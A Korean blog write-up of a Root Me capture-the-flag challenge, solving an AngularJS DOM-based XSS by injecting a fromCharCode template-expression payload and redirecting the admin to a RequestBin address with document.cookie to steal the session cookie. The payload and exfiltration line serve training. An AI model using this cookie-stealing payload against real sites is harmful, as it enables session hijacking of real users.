Root Me에서 제공하는 크로스 사이트 스크립트 문제
이전에 포스팅 했던 문제들과 비슷한 맥락이다.
(https://hackingstudypad.tistory.com/48)
(https://hackingstudypad.tistory.com/297)
(https://hackingstudypad.tistory.com/334)
(https://hackingstudypad.tistory.com/362)
지난 문제들 풀이를 보면 조금 이해하기 쉽다.
문제설명을 읽어보면
이번 문제의 목표 역시 admin 의 session cookie 값을 훔치는 것이다.
문제페이지에 접속하면 이런 화면이 나온다.
Name Encoder 라고 적혀있고
Main과 Contact 페이지를 이동할 수 있다.
Main 에서는 Enter you name 에 사용자 이름을 적을 수 있게 되어있다.
시험삼아 hello 라고 입력해봤다.
위쪽의 Ready to create password for : 부분과
Result for 부분에 내가 입력한 hello 가 그대로 찍혀서 나왔고,
숫자로 된 비밀번호가 생성되는것을 확인했다.
입력값을 전달하는 방식은 GET 방식을 사용한다.
URL을 통해 ?name 파라미터에 사용자가 입력한 값을 담아 전달하는것을 볼 수 있다.
Contact 페이지로 이동해보면
admin 에게 URL을 전달할 수 있는 기능이 있다.
정황상 name 파라미터를 통해서 XSS 페이로드를 완성시키고,
완성시킨 페이로드를 URL형태로 Contact 페이지를 통해 관리자에게 전달하여 읽게 만들어야 하는것 같다.
F12를 눌러 개발자도구로 웹 페이지 소스를 살펴봤다.
맨 위에 주석으로 AngularJS 라고 표시되어있다.
아래쪽 <script> 태그를 보면
사용자가 입력한 값을 var name = '<입력값>'; 형태로 사용하고 있는것을 볼 수 있다.
지난 XSS DOM Based - Introduction 문제처럼
(https://hackingstudypad.tistory.com/362)
' 나 ", ` 같은 특수문자를 이용해서 자바스크립트 코드를 조작시켜야 하는줄 알았는데
AngularJS는 뭐가 다른지 위의 방법으로 우회가 안됐다.
구글에 XSS AngularJS Cheat Sheet 이런식으로 검색해보니
Github에 이걸 bypass 할 수 있는 페이로드가 올라와 있었다.
참고로 97,108,101,114,116,40,49,41 는 alert(1) 을 의미한다.
저 페이로드를 쓰면 내용이 1인 알람창이 뜰 것이다.
해당 페이로드를 이렇게 URL의 name 파라미터에 넣어주면 된다.
그러면 이렇게 스크립트가 동작해서 alert(1)이 수행되는것을 확인할 수 있다.
이제 RequestBin(https://pipedream.com/)으로 가서 요청을 받아줄 주소를 하나 생성한다.
그다음 document.location.href="requestbin 주소/?c="+document.cookie 를
CyberChef(https://gchq.github.io/CyberChef)를 이용해 통채로 아스키 코드로 바꿔준다.
{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(<아스키 코드 값>))()}}
이제 위처럼 admin이 URL을 클릭할 경우
자동으로 redirect 되어 RequestBin으로 이동하며 쿠키값을 전달하도록
XSS 페이로드를 작성한다.
그다음 Contact 페이지로 가서
완성된 XSS 페이로드를 입력하고 잠시 기다리면
admin의 세션 쿠키값이 탈취된 것을 확인할 수 있다.
탈취한 쿠키값이 바로 플래그이다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] POP - APOP - 포렌식 / Wireshark (78) | 2023.05.28 |
---|---|
[Root Me] EXIF - Thumbnail - 포렌식 / Forensically / HxD (78) | 2023.05.26 |
[Root Me] XSS DOM Based - Introduction - 웹해킹 / 크로스사이트스크립트 (59) | 2022.12.23 |
[Root Me] PDF - Embedded - 포렌식 / PDFStreamDumper (54) | 2022.12.01 |
[Root Me] XSS - Reflected - 웹해킹 / 크로스사이트스크립트 (65) | 2022.11.25 |